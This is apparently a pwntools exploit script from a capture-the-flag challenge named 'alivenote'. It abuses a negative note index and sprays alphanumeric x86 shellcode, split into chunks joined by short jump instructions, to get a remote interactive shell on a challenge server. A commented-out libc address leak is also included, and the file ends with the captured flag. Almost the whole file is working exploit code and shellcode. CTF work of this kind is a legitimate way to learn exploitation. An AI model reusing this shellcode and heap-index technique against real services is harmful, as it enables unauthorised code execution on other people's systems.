#!/usr/bin/env python 


from pwn import *

"""
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
"""
# index can be negtive
# 
# choose free so that the add of heap will push in the stack, and we can get the add of heap
# do something than jump to next 

"""
	p 0x70 jo [byte]
	q 0x71 jno [byte]
	r 0x72 jb [byte]
	s 0x73 jae [byte]
	t 0x74 je [byte]
	u 0x75 jne [byte]
	v 0x76 jbe [byte]
	w 0x77 ja [byte]
	x 0x78 js [byte]
	y 0x79 jns [byte]
	z 0x7a jp [byte]

"""


lib = ELF('./libc.so.6.32')

def addnote(index, name):
	r.sendlineafter(':', '1')
	r.sendlineafter(':', str(index))
	r.sendafter(':', name)

def delnote(index):
	r.sendlineafter(':', '3')
	r.sendlineafter(':', str(index))


r = remote('172.16.101.57',12029)
#r = process('./alivenote',env={"LD_LIBRARY_PATH":"."})

"""
a = raw_input()
addnote(1, '1')

r.sendlineafter(':', '3')
r.sendlineafter(':', '1')

a = raw_input()

r.sendlineafter(':', '2')
r.sendlineafter(':', '-1088')
data = r.recvuntil('-').split('\n')[0].split(' : ')[1][16:20]  # 0x804a010 printf 
data = u32(data)
libc_base = data - lib.symbols['printf']
print 'add_printf :',hex(data)
print 'add_libc_base :',hex(libc_base)

magic = libc_base + 0x3fbb7
"""

addnote(1,'a')
delnote(1)


sc = "j0ZJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJRPYJRXf50af5MQj0Zf1DQoj0X5JCCX5Ul00Pj0X5FP0V5Y2Y8PTXPPPPPPPPaj0ZJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJRXJJJJJJJJJJJRYOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"

cc=[]
cc.append( 'YYj0ZJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJR\x74\x38')
cc.append( 'JRXPX\x75\x39')
cc.append( 'f50aPX\x75\x38')
cc.append( 'f5MQPX\x75\x38')
cc.append( 'j0ZPX\x75\x39')
cc.append( 'f1DQp\x75\x39')
cc.append( 'j0XPX\x75\x39')
cc.append( '5JCCX\x75\x39')
cc.append( '5Ul00\x75\x39')
cc.append( 'Pj0XPX\x75\x38')
cc.append( '5FP0V\x75\x39')
cc.append( '5Y2Y8\x75\x39')
cc.append( 'PTXPPP\x75\x38')
cc.append( 'PPPPPa\x75\x38')
cc.append( 'j0ZJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJRX\x75\x38')
cc.append( 'JJJJJJ\x75\x38')
cc.append( 'JJJJJR\x74\x38')
cc.append( 'YOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')
cc.append( 'OOOOOO\x75\x38')


import time
addnote(-27, cc[0])
print len(cc)
count = 0 
for i in range(len(cc)):
	count = count + 1 
	if i == 0 :		
		for j in range(3):
			addnote(1,'aaaaaa')			
	else:
		print count
		addnote(1,cc[i])
		if count == 35:
			for j in range(2):
				addnote(1,'aaaaa')
				time.sleep(0.1)
			addnote(3,'bbbbb')
			time.sleep(0.1)
		else:
			for j in range(3):
				addnote(1,'aaaaac')
				time.sleep(0.1)

a = raw_input()



r.interactive()

#AD{B31n9_4l1v3_1S_M0R3_SUfF3r1N9_7h4n_B31n9_D34d}
